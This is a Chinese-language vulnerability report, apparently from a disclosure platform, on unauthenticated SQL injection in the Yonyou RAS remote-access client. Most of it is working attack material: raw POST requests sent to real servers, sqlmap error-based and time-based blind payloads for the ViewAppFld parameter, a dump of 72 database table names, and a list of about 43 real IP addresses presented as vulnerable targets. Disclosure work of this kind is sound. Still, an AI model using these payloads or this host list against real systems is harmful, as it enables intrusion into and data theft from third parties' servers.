### 简要描述：
附40多个案例啊。。
### 详细说明：
用友软件RAS标准版客户端(远程快速应用接入)
无需登录存在SQL注入。
第一处：
```
POST /server/cmxpagedquery.php?pgid=AppList&SearchFlag=true HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Referer: http://116.236.131.194:8080/
Cookie: PHPSESSID=jb7b826hb3p30jf2rdt17mr8n0; RAS_Client_Style=1; g_LanguageID=cn; RAS_Admin_UserInfo_Domain=aa-ecf4369da2f8; temp_DisplayName=tmtgrnvr; temp_Description=%E5%85%81%E8%AE%B8%E7%94%A8%E6%88%B7%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AE%E6%AD%A4%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8A%E7%9A%84%E6%96%87%E4%BB%B6%E5%A4%B9; ErrorInfo=%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E4%BF%A1%E6%81%AF%3A+Parameter+3%3A+%E7%B1%BB%E5%9E%8B%E4%B8%8D%E5%8C%B9%E9%85%8D%E3%80%82%0D%0A+++%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E6%89%80%E5%9C%A8%E6%96%87%E4%BB%B6%3A+C%3A%5CProgram+Files%5CComexe%5CRasMini%5Crasweb%5CApache2%5Chtdocs%5Csmarty-2.6.19%5CServer%5CCmxUserGroup.php+%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E6%89%80%E5%9C%A8%E8%A1%8C%E5%8F%B7%3A+386+%E8%A1%8C%3Cbr+%2F%3E
Host: 116.236.131.194:8080
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: --user-agent "Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0"
Accept: */*
AppID%5b-1%5d=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=8&ViewAppValue=1
```
参数ViewAppFld和ViewAppValue都存在注入。。
第二处：
```
POST /server/cmxfolder.php?pgid=AppList&SearchFlag=true&t=1433251155 HTTP/1.1
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Referer: http://218.31.33.44:8888/
Cookie: PHPSESSID=jb7b826hb3p30jf2rdt17mr8n0; RAS_Client_Style=1; g_LanguageID=cn; RAS_Admin_UserInfo_Domain=aa-ecf4369da2f8; temp_DisplayName=tmtgrnvr; temp_Description=%E5%85%81%E8%AE%B8%E7%94%A8%E6%88%B7%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AE%E6%AD%A4%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8A%E7%9A%84%E6%96%87%E4%BB%B6%E5%A4%B9; ErrorInfo=%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E4%BF%A1%E6%81%AF%3A+Parameter+3%3A+%E7%B1%BB%E5%9E%8B%E4%B8%8D%E5%8C%B9%E9%85%8D%E3%80%82%0D%0A+++%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E6%89%80%E5%9C%A8%E6%96%87%E4%BB%B6%3A+C%3A%5CProgram+Files%5CComexe%5CRasMini%5Crasweb%5CApache2%5Chtdocs%5Csmarty-2.6.19%5CServer%5CCmxUserGroup.php+%3Cbr+%2F%3E%E9%94%99%E8%AF%AF%E6%89%80%E5%9C%A8%E8%A1%8C%E5%8F%B7%3A+386+%E8%A1%8C%3Cbr+%2F%3E
Host: 218.31.33.44:8888
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=1ViewAppValue=1
```
参数ViewAppFld和ViewAppValue都存在注入。。
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201506/03161703dcfa29d11a9dbc51737fb59d17755658.jpg" alt="aaaaaaaaaa11111111111111111.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/03161703dcfa29d11a9dbc51737fb59d17755658.jpg)
[<img src="https://images.seebug.org/upload/201506/0316175031a50184d8021b089629f59d6e1dc46a.jpg" alt="aaaaaaaaaaa22222222222222.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0316175031a50184d8021b089629f59d6e1dc46a.jpg)
[<img src="https://images.seebug.org/upload/201506/031618015a5a23627fdb5a89d70b3e8be70e08c9.jpg" alt="aaaaaaaaaa33333333333333.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/031618015a5a23627fdb5a89d70b3e8be70e08c9.jpg)
[<img src="https://images.seebug.org/upload/201506/031618100f842c91f5a725385c8e25aa57022bf7.jpg" alt="aaaaaaa4444444444444.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/031618100f842c91f5a725385c8e25aa57022bf7.jpg)
[<img src="https://images.seebug.org/upload/201506/031618187384615d7ce44f9db731bdbd2822e01f.jpg" alt="aaaaaaaaaa55555555555555.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/031618187384615d7ce44f9db731bdbd2822e01f.jpg)
```
---
Parameter: ViewAppFld (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: AppID[-1]=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=8) AND (SELECT 4416 FROM(SELECT COUNT(*),CONCAT(0x716a787871,(SELECT (ELT(4416=4416,1))),0x71766a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (6748=6748&ViewAppValue=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: AppID[-1]=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=8) AND (SELECT * FROM (SELECT(SLEEP(30)))porO) AND (5447=5447&ViewAppValue=1
---
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
current database: 'rasdatabase'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ViewAppFld (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: AppID[-1]=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=8) AND (SELECT 4416 FROM(SELECT COUNT(*),CONCAT(0x716a787871,(SELECT (ELT(4416=4416,1))),0x71766a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (6748=6748&ViewAppValue=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: AppID[-1]=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=8) AND (SELECT * FROM (SELECT(SLEEP(30)))porO) AND (5447=5447&ViewAppValue=1
---
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Database: rasdatabase
[72 tables]
+---------------------------+
| hbadminrolegroupmembers |
| hbadminrolerestrictedorgs |
| hbadminroletask |
| hbadminroleusermembers |
| hbclientgroupapplication |
| hbclientgroupprinter |
| hbdirectoryapplication |
| hborgapplication |
| hborglicensepolicy |
| hborgpolicy |
| hbpolicyvalues |
| hbroletask |
| hbserverapplication |
| hbserverprinterdriver |
| hbserverprintinf |
| hbserverrole |
| hbservertask |
| hbtaskaction |
| hbtaskcondition |
| hbuserapplication |
| hbuserdirectory |
| hbuserorgs |
| hbuserpolicy |
| lograsarchi |
| lograsconcurrenta |
| lograsconcurrentus |
| lograsent |
| lograssessi |
| lograstaskactionhist |
| lograstaskhist |
| oemuserinfo |
| rasactions |
| rasadminroles |
| rasadmintasks |
| rasapplication |
| rasbadprinterdriver |
| rascfg |
| rasclient |
| rasclientgroup |
| rascompatibilitydriver |
| rasconcurrentsession |
| rasconditions |
| rasconnectionsetting |
| rasdatabase |
| rasdirectory |
| rasdmzserverd |
| rasdomain |
| rasgroupuser |
| rasinfocollectordata |
| rasjobs |
| rasjobsteps |
| raslicenseinfo |
| raslicensetoken |
| raslicpolicy |
| raslockdownpolicies |
| rasmonthlyminute |
| rasorgs |
| rasprinter |
| rasprinterdriver |
| rasproductk |
| rasreqids |
| rasroles |
| rasrunningservers |
| rasselection |
| rasserver |
| rasstyle |
| rastasks |
| rasticketing |
| rastimedsessio |
| rasuser |
| rasusermng |
| usermachines |
+---------------------------+
http://116.236.131.194:8080/
http://221.239.106.90:81/
http://61.161.199.197/
http://180.168.5.162:8080/
http://111.30.26.38:8000/
http://115.231.212.82:8080/
http://58.246.235.50/
http://218.31.33.158:8001/
http://60.10.34.57:8888/
http://218.207.195.169:8888/
http://122.224.243.218:8888/
http://124.172.246.131:81/
http://120.35.19.21:81/
http://222.69.38.12:8080/
http://61.161.182.38:8080/
http://125.93.255.209:8000/
http://223.197.196.73:81/
http://58.221.244.10:8080/
http://112.84.176.254:8000/
http://61.164.84.70:8080/
http://116.228.5.26:8080/
http://218.76.48.74:81/
http://140.207.74.170:81/
http://121.29.222.68:8080/
http://59.53.170.89:81/
http://218.31.33.44:8888/
http://60.190.102.141:8080/
http://60.12.220.103:8000/
http://122.227.192.250:8080/
http://59.37.7.110:8001/
http://222.223.228.247:81/
http://222.69.91.134:81/
http://116.228.113.155/
http://121.33.210.52:8080/
http://116.90.82.78:8000/
http://221.129.245.61:8080/
http://120.71.225.49:8000/
http://110.87.98.18:81/
http://60.29.103.158:8000/
http://120.193.185.187:81/
http://58.20.34.149:8080/
http://222.223.228.249:81/
http://210.22.101.234:8080/
```
京公网安备 11010502034610号
暂无评论